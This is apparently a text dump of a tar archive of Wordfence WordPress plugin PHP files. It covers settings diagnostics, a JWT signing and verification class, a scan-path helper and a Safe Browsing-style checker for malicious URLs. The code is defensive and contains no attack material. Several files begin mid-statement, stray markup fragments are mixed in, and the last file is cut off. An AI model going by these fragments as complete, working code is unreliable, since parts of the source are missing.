__('Maximum execution time for each scan stage ', 'wordfence'), 'value' => wfConfig::get('maxExecutionTime')), array('description' => __('Exclude files from scan that match these wildcard patterns (one per line)', 'wordfence'), 'value' => wfUtils::cleanupOneEntryPerLine(wfUtils::string_empty(wfConfig::get('scan_exclude'), __('(empty)', 'wordfence')))), array('description' => __('Additional scan signatures (one per line)', 'wordfence'), 'value' => wfUtils::string_empty(wfConfig::get('scan_include_extra'), __('(empty)', 'wordfence'))), array('description' => __('Use only IPv4 to start scans', 'wordfence'), 'value' => !!wfConfig::get('scan_force_ipv4_start') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Maximum number of attempts to resume each scan stage', 'wordfence'), 'value' => wfConfig::get('scan_max_resume_attempts')), array('subheader' => __('Diagnostics', 'wordfence')), array('description' => __('Enable debugging mode (increases database load)', 'wordfence'), 'value' => !!wfConfig::get('debugOn') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Start all scans remotely (Try this if your scans aren\'t starting and your site is publicly accessible)', 'wordfence'), 'value' => !!wfConfig::get('startScansRemotely') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Enable SSL Verification (Disable this if you are consistently unable to connect to the Wordfence servers.)', 'wordfence'), 'value' => !!wfConfig::get('ssl_verify') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Disable reading of php://input', 'wordfence'), 'value' => !!$avoidPHPInput ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Enable Wordfence translations', 'wordfence'), 'value' => !!wfConfig::get('wordfenceI18n') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('subheader' => __('Brute Force Protection', 'wordfence')), array('description' => __('Enable brute force protection', 'wordfence'), 'value' => !!wfConfig::get('loginSecurityEnabled') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Lock out after how many login failures', 'wordfence'), 'value' => wfConfig::get('loginSec_maxFailures')), array('description' => __('Lock out after how many forgot password attempts', 'wordfence'), 'value' => wfConfig::get('loginSec_maxForgotPasswd')), array('description' => __('Count failures over what time period', 'wordfence'), 'value' => wfConfig::getInt('loginSec_countFailMins')), array('description' => __('Amount of time a user is locked out', 'wordfence'), 'value' => wfConfig::getInt('loginSec_lockoutMins')), array('description' => __('Immediately lock out invalid usernames', 'wordfence'), 'value' => !!wfConfig::get('loginSec_lockInvalidUsers') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Immediately block the IP of users who try to sign in as these usernames', 'wordfence'), 'value' => wfUtils::cleanupOneEntryPerLine(wfUtils::string_empty(wfConfig::get('loginSec_userBlacklist'), __('(empty)', 'wordfence')))), array('description' => __('Prevent the use of passwords leaked in data breaches', 'wordfence'), 'value' => (!!wfConfig::get('loginSec_breachPasswds_enabled') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')) . "\n" . wfUtils::array_choose(array('admins' => __('For admins only', 'wordfence'), 'pubs' => __('For all users with "publish posts" capability', 'wordfence')), wfConfig::get('loginSec_breachPasswds'), true, __('(unknown)', 'wordfence'))), array('description' => __('Enforce strong passwords', 'wordfence'), 'value' => (!!wfConfig::get('loginSec_strongPasswds_enabled') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')) . "\n" . wfUtils::array_choose(array('pubs' => __('Force admins and publishers to use strong passwords (recommended)', 'wordfence'), 'all' => __('Force all members to use strong passwords', 'wordfence')), wfConfig::get('loginSec_strongPasswds'), true, __('(unknown)', 'wordfence'))), array('description' => __('Don\'t let WordPress reveal valid users in login errors', 'wordfence'), 'value' => !!wfConfig::get('loginSec_maskLoginErrors') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Prevent users registering \'admin\' username if it doesn\'t exist', 'wordfence'), 'value' => !!wfConfig::get('loginSec_blockAdminReg') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Prevent discovery of usernames through \'/?author=N\' scans, the oEmbed API, the WordPress REST API, and WordPress XML Sitemaps', 'wordfence'), 'value' => !!wfConfig::get('loginSec_disableAuthorScan') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Disable WordPress application passwords', 'wordfence'), 'value' => !!wfConfig::get('loginSec_disableApplicationPasswords') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Block IPs who send POST requests with blank User-Agent and Referer', 'wordfence'), 'value' => !!wfConfig::get('other_blockBadPOST') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Custom text shown on block pages', 'wordfence'), 'value' => wfUtils::string_empty(wfConfig::get('blockCustomText'), __('(empty)', 'wordfence'))), array('description' => __('Check password strength on profile update', 'wordfence'), 'value' => !!wfConfig::get('other_pwStrengthOnUpdate') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Participate in the Real-Time Wordfence Security Network', 'wordfence'), 'value' => !!wfConfig::get('other_WFNet') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('subheader' => __('Rate Limiting', 'wordfence')), array('description' => __('Enable Rate Limiting and Advanced Blocking', 'wordfence'), 'value' => !!wfConfig::get('firewallEnabled') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('How should we treat Google\'s crawlers', 'wordfence'), 'value' => wfUtils::array_choose(array('neverBlockVerified' => __('Verified Google crawlers will not be rate-limited', 'wordfence'), 'neverBlockUA' => __('Anyone claiming to be Google will not be rate-limited', 'wordfence'), 'treatAsOtherCrawlers' => __('Treat Google like any other Crawler', 'wordfence')), wfConfig::get('neverBlockBG'), true, __('(unknown)', 'wordfence'))), array('description' => __('If anyone\'s requests exceed', 'wordfence'), 'value' => wfUtils::array_choose($rateOptions, wfConfig::get('maxGlobalRequests'), true, __('(unknown)', 'wordfence')) . "\n" . wfUtils::array_choose($actionOptions, wfConfig::get('maxGlobalRequests_action'), true, __('(unknown)', 'wordfence'))), array('description' => __('If a crawler\'s page views exceed', 'wordfence'), 'value' => wfUtils::array_choose($rateOptions, wfConfig::get('maxRequestsCrawlers'), true, __('(unknown)', 'wordfence')) . "\n" . wfUtils::array_choose($actionOptions, wfConfig::get('maxRequestsCrawlers_action'), true, __('(unknown)', 'wordfence'))), array('description' => __('If a crawler\'s pages not found (404s) exceed', 'wordfence'), 'value' => wfUtils::array_choose($rateOptions, wfConfig::get('max404Crawlers'), true, __('(unknown)', 'wordfence')) . "\n" . wfUtils::array_choose($actionOptions, wfConfig::get('max404Crawlers_action'), true, __('(unknown)', 'wordfence'))), array('description' => __('If a human\'s page views exceed', 'wordfence'), 'value' => wfUtils::array_choose($rateOptions, wfConfig::get('maxRequestsHumans'), true, __('(unknown)', 'wordfence')) . "\n" . wfUtils::array_choose($actionOptions, wfConfig::get('maxRequestsHumans_action'), true, __('(unknown)', 'wordfence'))), array('description' => __('If a human\'s pages not found (404s) exceed', 'wordfence'), 'value' => wfUtils::array_choose($rateOptions, wfConfig::get('max404Humans'), true, __('(unknown)', 'wordfence')) . "\n" . wfUtils::array_choose($actionOptions, wfConfig::get('max404Humans_action'), true, __('(unknown)', 'wordfence'))), array('description' => __('How long is an IP address blocked when it breaks a rule', 'wordfence'), 'value' => wfConfig::getInt('blockedTime')), array('description' => __('Allowlisted 404 URLs', 'wordfence'), 'value' => wfUtils::cleanupOneEntryPerLine(wfConfig::get('allowed404s'))), array('subheader' => __('Country Blocking', 'wordfence')), array('description' => __('What to do when we block someone', 'wordfence'), 'value' => wfUtils::array_choose(array('block' => __('Show the standard Wordfence blocked message', 'wordfence'), 'redir' => __('Redirect to the URL below', 'wordfence')), wfConfig::get('cbl_action'), true, __('(unknown)', 'wordfence'))), array('description' => __('URL to redirect blocked users to', 'wordfence'), 'value' => wfUtils::string_empty(wfConfig::get('cbl_redirURL'), __('(empty)', 'wordfence'))), array('description' => __('Block countries even if they are logged in', 'wordfence'), 'value' => !!wfConfig::get('cbl_loggedInBlocked') ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), array('description' => __('Bypass Redirect', 'wordfence'), 'value' => wfUtils::string_empty(wfConfig::get('cbl_bypassRedirURL'), __('(empty)', 'wordfence')) . ' -> ' . wfUtils::string_empty(wfConfig::get('cbl_bypassRedirDest'), __('(empty)', 'wordfence'))), array('description' => __('Bypass Cookie', 'wordfence'), 'value' => wfUtils::string_empty(wfConfig::get('cbl_bypassViewURL'), __('(empty)', 'wordfence'))), ); } public static function getWordfenceCentralValues() { return array( array('description' => __('Connected', 'wordfence'), 'value' => wfConfig::get('wordfenceCentralConnected') ? __('true', 'wordfence') : __('false', 'wordfence')), array('description' => __('Connect Timestamp', 'wordfence'), 'value' => wfConfig::getInt('wordfenceCentralConnectTime') > 0 ? wfConfig::getInt('wordfenceCentralConnectTime') : __('(not set)', 'wordfence')), array('description' => __('Site ID', 'wordfence'), 'value' => wfUtils::string_empty(wfConfig::get('wordfenceCentralSiteID'), __('(empty)', 'wordfence'))), array('description' => __('Disconnected', 'wordfence'), 'value' => wfConfig::get('wordfenceCentralDisconnected') ? __('true', 'wordfence') : __('false', 'wordfence')), array('description' => __('Disconnect Timestamp', 'wordfence'), 'value' => wfConfig::getInt('wordfenceCentralDisconnectTime') > 0 ? wfConfig::getInt('wordfenceCentralDisconnectTime') : __('(not set)', 'wordfence')), array('description' => __('Configuration Issue', 'wordfence'), 'value' => wfConfig::get('wordfenceCentralConfigurationIssue') ? __('true', 'wordfence') : __('false', 'wordfence')), array('description' => __('Plugin Alerting Disabled', 'wordfence'), 'value' => wfConfig::get('wordfenceCentralPluginAlertingDisabled') ? __('true', 'wordfence') : __('false', 'wordfence')), ); } }sodium_compat_fast.php000064400000000271147206764270011154 0ustar00 ?ver=' type='text/css' media='all' />

Wordfence.com for help, security updates and more.', 'wordfence'), date_i18n('Y', WORDFENCE_EPOCH), date_i18n('Y')), array('a'=>array('href'=>array()))); ?>
wfScanPath.php000064400000003431147206764270007333 0ustar00baseDirectory = $baseDirectory; $this->path = $path; $this->realPath = wfFileUtils::realPath($path); $this->wordpressPath = $wordpressPath; $this->expectedFiles = is_array($expectedFiles) ? array_flip($expectedFiles) : null; } public function getPath() { return $this->path; } public function getRealPath() { return $this->realPath; } public function getWordpressPath() { return $this->wordpressPath; } public function hasExpectedFiles() { return $this->expectedFiles !== null && !empty($this->expectedFiles); } public function expectsFile($name) { return array_key_exists($name, $this->expectedFiles); } public function isBaseDirectory() { return $this->path === $this->baseDirectory; } public function isBelowBaseDirectory() { return wfFileUtils::belongsTo($this->path, $this->baseDirectory); } public function getContents() { return wfFileUtils::getContents($this->realPath); } public function createScanFile($relativePath) { $path = wfFileUtils::joinPaths($this->realPath, $relativePath); $realPath = wfFileUtils::realPath($path); $wordpressPath = wfFileUtils::trimSeparators(wfFileUtils::joinPaths($this->wordpressPath, $relativePath), true, false); if (is_link($path)) { return new wfScanFileLink($path, $realPath, $wordpressPath); } else { return new wfScanFile($realPath, $wordpressPath); } } public function __toString() { return $this->realPath; } }wfJWT.php000064400000012517147206764270006303 0ustar00 $header, 'body' => $body, 'signature' => $signature, ); } /** * @param mixed $subject */ public function __construct($subject = null) { $this->claims = $this->getClaimDefaults(); $this->claims['sub'] = $subject; } /** * @return string */ public function encode() { $header = $this->encodeString($this->buildHeader()); $body = $this->encodeString($this->buildBody()); return sprintf('%s.%s.%s', $header, $body, $this->encodeString($this->sign(sprintf('%s.%s', $header, $body)))); } /** * @param string $token * @return array * @throws wfJWTException|InvalidArgumentException */ public function decode($token) { if (!is_string($token)) { throw new InvalidArgumentException('Token is not a string. ' . gettype($token) . ' given.'); } // Verify the token matches the JWT format. if (!preg_match('/^[a-zA-Z0-9\-_]+?\.[a-zA-Z0-9\-_]+?\.[a-zA-Z0-9\-_]+?$/', $token)) { throw new wfJWTException('Invalid token format.'); } list($header, $body, $signature) = explode('.', $token); // Verify signature matches the supplied payload. if (!$this->verifySignature($this->decodeString($signature), sprintf('%s.%s', $header, $body))) { throw new wfJWTException('Invalid signature.'); } // Test that the token is valid and not expired. $decodedHeader = base64_decode($header); if (!(is_string($decodedHeader) && $decodedHeader)) { throw new wfJWTException('Token header is invalid.'); } $header = json_decode($decodedHeader, true); if (!( is_array($header) && array_key_exists('alg', $header) && $header['alg'] === 'HS256' && $header['typ'] === 'JWT' )) { throw new wfJWTException('Token header is invalid.'); } $decodedBody = base64_decode($body); if (!(is_string($decodedBody) && $decodedBody)) { throw new wfJWTException('Token body is invalid.'); } $body = json_decode($decodedBody, true); if (!( is_array($body) && // Check the token not before now timestamp. array_key_exists('nbf', $body) && is_numeric($body['nbf']) && $body['nbf'] <= time() && // Check the token is not expired. array_key_exists('exp', $body) && is_numeric($body['exp']) && $body['exp'] >= time() && // Check the issuer and audience is ours. $body['iss'] === 'Wordfence ' . WORDFENCE_VERSION && $body['aud'] === 'Wordfence Central' )) { throw new wfJWTException('Token is invalid or expired.'); } return array( 'header' => $header, 'body' => $body, ); } /** * @param string $string * @return string */ public function sign($string) { $salt = wp_salt('auth'); return hash_hmac('sha256', $string, $salt, true); } /** * @param string $signature * @param string $message * @return bool */ public function verifySignature($signature, $message) { return hash_equals($this->sign($message), $signature); } /** * @return string */ public function __toString() { return $this->encode(); } /** * @param string $data * @return string */ public function encodeString($data) { return rtrim(strtr(base64_encode($data), '+/', '-_'), '='); } /** * @param string $data * @return bool|string */ public function decodeString($data) { return base64_decode(strtr($data, '-_', '+/')); } /** * @return mixed|string */ protected function buildHeader() { return '{"alg":"HS256","typ":"JWT"}'; } /** * @return mixed|string */ protected function buildBody() { return json_encode($this->getClaims()); } /** * @return array */ protected function getClaimDefaults() { $now = time(); return array( 'iss' => 'Wordfence ' . WORDFENCE_VERSION, 'aud' => 'Wordfence Central', 'nbf' => $now, 'iat' => $now, 'exp' => $now + self::JWT_TTL, ); } /** * @param array $claims */ public function addClaims($claims) { if (!is_array($claims)) { throw new InvalidArgumentException(__METHOD__ . ' expects argument 1 to be array.'); } $this->setClaims(array_merge($this->getClaims(), $claims)); } /** * @return array */ public function getClaims() { return $this->claims; } /** * @param array $claims */ public function setClaims($claims) { $this->claims = $claims; } } class wfJWTException extends Exception { }wordfenceURLHoover.php000064400000044564147206764270011033 0ustar00get_col("SELECT blog_id FROM {$wpdb->blogs}"); //Can't use wp_get_sites or get_sites because they return empty at 10k sites foreach ($blogIDs as $id) { $homeURL = get_home_url($id); $host = parse_url($homeURL, PHP_URL_HOST); if ($host) { $excludedHosts[$host] = 1; } $siteURL = get_site_url($id); $host = parse_url($siteURL, PHP_URL_HOST); if ($host) { $excludedHosts[$host] = 1; } } } else { $homeURL = wfUtils::wpHomeURL(); $host = parse_url($homeURL, PHP_URL_HOST); if ($host) { $excludedHosts[$host] = 1; } $siteURL = wfUtils::wpSiteURL(); $host = parse_url($siteURL, PHP_URL_HOST); if ($host) { $excludedHosts[$host] = 1; } } $standardExcludedHosts = array_keys($excludedHosts); return $standardExcludedHosts; } public function __sleep() { $this->writeHosts(); return array('debug', 'errorMsg', 'table', 'apiKey', 'wordpressVersion'); } public function __wakeup() { $this->hostsToAdd = new wfArray(array('owner', 'host', 'path', 'hostKey')); $this->api = new wfAPI($this->apiKey, $this->wordpressVersion); $this->db = new wfDB(); } public function __construct($apiKey, $wordpressVersion, $db = false, $continuation = false) { $this->hostsToAdd = new wfArray(array('owner', 'host', 'path', 'hostKey')); $this->apiKey = $apiKey; $this->wordpressVersion = $wordpressVersion; $this->api = new wfAPI($apiKey, $wordpressVersion); if($db){ $this->db = $db; } else { $this->db = new wfDB(); } global $wpdb; if(isset($wpdb)){ $this->table = wfDB::networkTable('wfHoover'); } else { $this->table = 'wp_wfHoover'; } if (!$continuation) { $this->cleanup(); } } public function cleanup() { $this->db->truncate($this->table); } public function hoover($id, $data, $excludedHosts = array()) { $this->currentHooverID = $id; $this->_foundSome = 0; $this->_excludedHosts = $excludedHosts; @preg_replace_callback('_((?:(?://)(?:\S+(?::\S*)?@)?(?:(?:(?:[a-z\xa1-\xff0-9.-]+)(?:\.(?:(?:xn--[a-z\xa1-\xff0-9-]+)|[a-z\xa1-\xff]{2,}))))(?::\d{2,5})?)(?:/[a-z0-9\-\_\.~\!\*\(\);\:@&\=\+\$,\?#\[\]%]*)*)_iS', array($this, 'captureURL'), $data); $this->writeHosts(); return $this->_foundSome; } private function dbg($msg) { if ($this->debug) { wordfence::status(4, 'info', $msg); } } public function captureURL($matches) { $id = $this->currentHooverID; $url = 'http:' . $matches[0]; if (!filter_var($url, FILTER_VALIDATE_URL)) { return; } $components = parse_url($url); if (preg_match('/\.(xn--(?:[a-z0-9-]*)[a-z0-9]+|[a-z\xa1-\xff0-9]{2,})$/i', $components['host'], $tld)) { $tld = strtolower($tld[1]); if (strpos(wfConfig::get('tldlist', ''), '|' . $tld . '|') === false) { return; } } else { return; } foreach ($this->_excludedHosts as $h) { if (strcasecmp($h, $components['host']) === 0) { return; } } $this->_foundSome++; $host = (isset($components['host']) ? $components['host'] : ''); $path = (isset($components['path']) && !empty($components['path']) ? $components['path'] : '/'); $hashes = $this->_generateHashes($url); foreach ($hashes as $h) { $this->hostsToAdd->push(array('owner' => $id, 'host' => $host, 'path' => $path, 'hostKey' => wfUtils::substr($h, 0, 4))); } if($this->hostsToAdd->size() > 1000){ $this->writeHosts(); } } private function writeHosts() { if ($this->hostsToAdd->size() < 1) { return; } if ($this->useDB) { $sql = "INSERT INTO " . $this->table . " (owner, host, path, hostKey) VALUES "; while ($elem = $this->hostsToAdd->shift()) { //This may be an issue for hyperDB or other abstraction layers, but leaving it for now. $sql .= sprintf("('%s', '%s', '%s', '%s'),", $this->db->realEscape($elem['owner']), $this->db->realEscape($elem['host']), $this->db->realEscape($elem['path']), $this->db->realEscape($elem['hostKey']) ); } $sql = rtrim($sql, ','); $this->db->queryWrite($sql); $this->hostsToAdd->collectGarbage(); } else { while ($elem = $this->hostsToAdd->shift()) { $keys = str_split($elem['hostKey'], 4); foreach ($keys as $k) { $this->hostKeys[] = $k; } $this->hostList[] = array( 'owner' => $elem['owner'], 'host' => $elem['host'], 'path' => $elem['path'], 'hostKey' => $elem['hostKey'] ); } $this->hostsToAdd->collectGarbage(); } } public function getBaddies() { wordfence::status(4, 'info', __("Gathering host keys.", 'wordfence')); $allHostKeys = ''; if ($this->useDB) { global $wpdb; $dbh = $wpdb->dbh; $useMySQLi = wfUtils::useMySQLi(); if ($useMySQLi) { //If direct-access MySQLi is available, we use it to minimize the memory footprint instead of letting it fetch everything into an array first wordfence::status(4, 'info', __("Using MySQLi directly.", 'wordfence')); $result = $dbh->query("SELECT DISTINCT hostKey FROM {$this->table} ORDER BY hostKey ASC LIMIT 100000"); /* We limit to 100,000 prefixes since more than that cannot be reliably checked within the default max_execution_time */ if (!is_object($result)) { $this->errorMsg = "Unable to query database"; $this->dbg($this->errorMsg); return false; } while ($row = $result->fetch_assoc()) { $allHostKeys .= $row['hostKey']; } } else { $q1 = $this->db->querySelect("SELECT DISTINCT hostKey FROM {$this->table} ORDER BY hostKey ASC LIMIT 100000"); /* We limit to 100,000 prefixes since more than that cannot be reliably checked within the default max_execution_time */ foreach ($q1 as $hRec) { $allHostKeys .= $hRec['hostKey']; } } } else { $allHostKeys = implode('', array_values(array_unique($this->hostKeys))); } /** * Check hash prefixes first. Each one is a 4-byte binary prefix of a SHA-256 hash of the URL. The response will * be a binary list of 4-byte indices; The full URL for each index should be sent in the secondary query to * find the true good/bad status. */ $allCount = wfUtils::strlen($allHostKeys) / 4; if ($allCount > 0) { if ($this->debug) { $this->dbg("Checking {$allCount} hostkeys"); for ($i = 0; $i < $allCount; $i++) { $key = wfUtils::substr($allHostKeys, $i * 4, 4); $this->dbg("Checking hostkey: " . bin2hex($key)); } } wordfence::status(2, 'info', sprintf(/* translators: Number of domains. */ __("Checking %d host keys against Wordfence scanning servers.", 'wordfence'), $allCount)); $resp = $this->api->binCall('check_host_keys', $allHostKeys); wordfence::status(2, 'info', __("Done host key check.", 'wordfence')); $this->dbg("Done host key check"); $badHostKeys = ''; if ($resp['code'] >= 200 && $resp['code'] <= 299) { $this->dbg("Host key response: " . bin2hex($resp['data'])); $dataLen = wfUtils::strlen($resp['data']); if ($dataLen > 0 && $dataLen % 2 == 0) { $this->dbg("Checking response indexes"); for ($i = 0; $i < $dataLen; $i += 2) { $idx = wfUtils::array_first(unpack('n', wfUtils::substr($resp['data'], $i, 2))); $this->dbg("Checking index {$idx}"); if ($idx < $allCount) { $prefix = wfUtils::substr($allHostKeys, $idx * 4, 4); $badHostKeys .= $prefix; $this->dbg("Got bad hostkey for record: " . bin2hex($prefix)); } else { $this->dbg("Bad allHostKeys index: {$idx}"); $this->errorMsg = "Bad allHostKeys index: {$idx}"; return false; } } } else if ($dataLen > 0) { $this->errorMsg = "Invalid data length received from Wordfence server: " . $dataLen; $this->dbg($this->errorMsg); return false; } } else { $this->errorMsg = "Wordfence server responded with an error. HTTP code " . $resp['code'] . " and data: " . $resp['data']; return false; } $badCount = wfUtils::strlen($badHostKeys) / 4; if ($badCount > 0) { $urlsToCheck = array(); $totalURLs = 0; //Reconcile flagged prefixes with their corresponding URLs for ($i = 0; $i < $badCount; $i++) { $prefix = wfUtils::substr($badHostKeys, $i * 4, 4); if ($this->useDB) { /** * Putting a 10000 limit in here for sites that have a huge number of items with the same URL * that repeats. This is an edge case. But if the URLs are malicious then presumably the admin * will fix the malicious URLs and on subsequent scans the items (owners) that are above the * 10000 limit will appear. */ $q1 = $this->db->querySelect("SELECT DISTINCT owner, host, path FROM {$this->table} WHERE hostKey = %s LIMIT 10000", $prefix); foreach ($q1 as $rec) { $url = 'http://' . $rec['host'] . $rec['path']; if (!isset($urlsToCheck[$rec['owner']])) { $urlsToCheck[$rec['owner']] = array(); } if (!in_array($url, $urlsToCheck[$rec['owner']])) { $urlsToCheck[$rec['owner']][] = $url; $totalURLs++; } } } else { foreach ($this->hostList as $rec) { $pos = wfUtils::strpos($rec['hostKey'], $prefix); if ($pos !== false && $pos % 4 == 0) { $url = 'http://' . $rec['host'] . $rec['path']; if (!isset($urlsToCheck[$rec['owner']])) { $urlsToCheck[$rec['owner']] = array(); } if (!in_array($url, $urlsToCheck[$rec['owner']])) { $urlsToCheck[$rec['owner']][] = $url; $totalURLs++; } } } } if ($totalURLs > 10000) { break; } } if (count($urlsToCheck) > 0) { wordfence::status(2, 'info', sprintf( /* translators: 1. Number of URLs. 2. Number of files. */ __('Checking %1$d URLs from %2$d sources.', 'wordfence'), $totalURLs, sizeof($urlsToCheck) )); $badURLs = $this->api->call('check_bad_urls', array(), array('toCheck' => json_encode($urlsToCheck))); wordfence::status(2, 'info', __("Done URL check.", 'wordfence')); $this->dbg("Done URL check"); if (is_array($badURLs) && count($badURLs) > 0) { $finalResults = array(); foreach ($badURLs as $file => $badSiteList) { if (!isset($finalResults[$file])) { $finalResults[$file] = array(); } foreach ($badSiteList as $badSite) { $finalResults[$file][] = array( 'URL' => $badSite[0], 'badList' => $badSite[1] ); } } $this->dbg("Confirmed " . count($badURLs) . " bad URLs"); return $finalResults; } } } } return array(); } protected function _generateHashes($url) { //The GSB specification requires generating and sending hash prefixes for a number of additional similar URLs. See: https://developers.google.com/safe-browsing/v4/urls-hashing#suffixprefix-expressions $canonicalURL = $this->_canonicalizeURL($url); //Extract the scheme $scheme = 'http'; if (preg_match('~^([a-z]+[a-z0-9+\.\-]*)://(.*)$~i', $canonicalURL, $matches)) { $scheme = strtolower($matches[1]); $canonicalURL = $matches[2]; } //Separate URL and query string $query = ''; if (preg_match('/^([^?]+)(\??.*)/', $canonicalURL, $matches)) { $canonicalURL = $matches[1]; $query = $matches[2]; } //Separate host and path $path = ''; preg_match('~^(.*?)(?:(/.*)|$)~', $canonicalURL, $matches); $host = $matches[1]; if (isset($matches[2])) { $path = $matches[2]; } //Clean host $host = $this->_normalizeHost($host); //Generate hosts list $hosts = array(); if (filter_var(trim($host, '[]'), FILTER_VALIDATE_IP)) { $hosts[] = $host; } else { $hostComponents = explode('.', $host); $numComponents = count($hostComponents) - 7; if ($numComponents < 1) { $numComponents = 1; } $hosts[] = $host; for ($i = $numComponents; $i < count($hostComponents) - 1; $i++) { $hosts[] = implode('.', array_slice($hostComponents, $i)); } } //Generate paths list $paths = array('/'); $pathComponents = array_filter(explode('/', $path)); $numComponents = min(count($pathComponents), 4); for ($i = 1; $i < $numComponents; $i++) { $paths[] = '/' . implode('/', array_slice($pathComponents, 0, $i)) . '/'; } if ($path != '/') { $paths[] = $path; } if (strlen($query) > 0) { $paths[] = $path . '?' . $query; } $paths = array_reverse($paths); //So we start at the most specific and move to most generic //Generate hashes $hashes = array(); foreach ($hosts as $h) { $hashes[$h] = hash('sha256', $h, true); //WFSB compatibility -- it uses hashes without the path foreach ($paths as $p) { $key = $h . $p; $hashes[$key] = hash('sha256', $key, true); break; //We no longer have any use for the extra path variants, so just include the primary one and exit the loop after } } return $hashes; } protected function _canonicalizeURL($url) { //Based on https://developers.google.com/safe-browsing/v4/urls-hashing#canonicalization and Google's reference implementation https://github.com/google/safebrowsing/blob/master/urls.go //Strip fragment $url = $this->_array_first(explode('#', $url)); //Trim space $url = trim($url); //Remove tabs, CR, LF $url = preg_replace('/[\t\n\r]/', '', $url); //Normalize escapes $url = $this->_normalizeEscape($url); if ($url === false) { return false; } //Extract the scheme $scheme = 'http'; if (preg_match('~^([a-z]+[a-z0-9+\.\-]*)://(.*)$~i', $url, $matches)) { $scheme = strtolower($matches[1]); $url = $matches[2]; } //Separate URL and query string $query = ''; if (preg_match('/^([^?]+)(\??.*)/', $url, $matches)) { $url = $matches[1]; $query = $matches[2]; } $endsWithSlash = substr($url, -1) == '/'; //Separate host and path $path = ''; preg_match('~^(.*?)(?:(/.*)|$)~', $url, $matches); $host = $matches[1]; if (isset($matches[2])) { $path = $matches[2]; } //Clean host $host = $this->_normalizeHost($host); if ($host === false) { return false; } //Clean path $path = preg_replace('~//+~', '/', $path); //Multiple slashes -> single slash $path = preg_replace('~(?:^|/)\.(?:$|/)~', '/', $path); //. path components removed while (preg_match('~/(?!\.\./)[^/]+/\.\.(?:$|/)~', $path)) { //Resolve .. $path = preg_replace('~/(?!\.\./)[^/]+/\.\.(?:$|/)~', '/', $path, 1); } $path = preg_replace('~(?:^|/)\.\.(?:$|/)~', '/', $path); //Eliminate .. at the beginning $path = trim($path, '.'); $path = preg_replace('/\.\.+/', '.', $path); if ($path == '.' || $path == '') { $path = '/'; } else if ($endsWithSlash && substr($path, -1) != '/') { $path .= '/'; } return $scheme . '://' . $host . $path . $query; } protected function _normalizeEscape($url) { $maxDepth = 1024; $i = 0; while (preg_match('/%([0-9a-f]{2})/i', $url)) { $url = preg_replace_callback('/%([0-9a-f]{2})/i', array($this, '_hex2binCallback'), $url); $i++; if ($i > $maxDepth) { return false; } } return preg_replace_callback('/[\x00-\x20\x7f-\xff#%]/', array($this, '_bin2hexCallback'), $url); } protected function _hex2binCallback($matches) { return wfUtils::hex2bin($matches[1]); } protected function _bin2hexCallback($matches) { return '%' . bin2hex($matches[0]); } protected function _normalizeHost($host) { //Strip username:password $host = $this->_array_last(explode('@', $host)); //IPv6 literal if (substr($host, 0, 1) == '[') { if (strpos($host, ']') === false) { //No closing bracket return false; } } //Strip port $host = preg_replace('/:\d+$/', '', $host); //Unicode to IDNA $u = rawurldecode($host); if (preg_match('/[\x81-\xff]/', $u)) { //0x80 is technically Unicode, but the GSB canonicalization doesn't consider it one if (function_exists('idn_to_ascii')) { //Some PHP versions don't have this and we don't have a polyfill $host = idn_to_ascii($u); } } //Remove extra dots $host = trim($host, '.'); $host = preg_replace('/\.\.+/', '.', $host); //Canonicalize IP addresses if ($iphost = $this->_parseIP($host)) { return $iphost; } return strtolower($host); } protected function _parseIP($host) { // The Windows resolver allows a 4-part dotted decimal IP address to have a // space followed by any old rubbish, so long as the total length of the // string doesn't get above 15 characters. So, "10.192.95.89 xy" is // resolved to 10.192.95.89. If the string length is greater than 15 // characters, e.g. "10.192.95.89 xy.wildcard.example.com", it will be // resolved through DNS. if (strlen($host) <= 15) { $host = $this->_array_first(explode(' ', $host)); } if (!preg_match('/^((?:0x[0-9a-f]+|[0-9\.])+)$/i', $host)) { return false; } $parts = explode('.', $host); if (count($parts) > 4) { return false; } $strings = array(); foreach ($parts as $i => $p) { if ($i == count($parts) - 1) { $strings[] = $this->_canonicalNum($p, 5 - count($parts)); } else { $strings[] = $this->_canonicalNum($p, 1); } if ($strings[$i] == '') { return ''; } } return implode('.', $strings); } protected function _canonicalNum($part, $n) { if ($n <= 0 || $n > 4) { return ''; } if (preg_match('/^0x(\d+)$/i', $part, $matches)) { //hex $part = hexdec($matches[1]); } else if (preg_match('/^0(\d+)$/i', $part, $matches)) { //octal $part = octdec($matches[1]); } else { $part = (int) $part; } $strings = array_fill(0, $n, ''); for ($i = $n - 1; $i >= 0; $i--) { $strings[$i] = (string) ($part & 0xff); $part = $part >> 8; } return implode('.', $strings); } protected function _array_first($array) { if (empty($array)) { return null; } return $array[0]; } protected function _array_last($array) { if (empty($array)) { return null; } return $array[count($array) - 1]; } }wfDateLocalization.php000064400001300206147206764270011061 0ustar00 'Date.CultureInfo={name:"af-ZA",englishName:"Afrikaans (South Africa)",nativeName:"Afrikaans (Suid 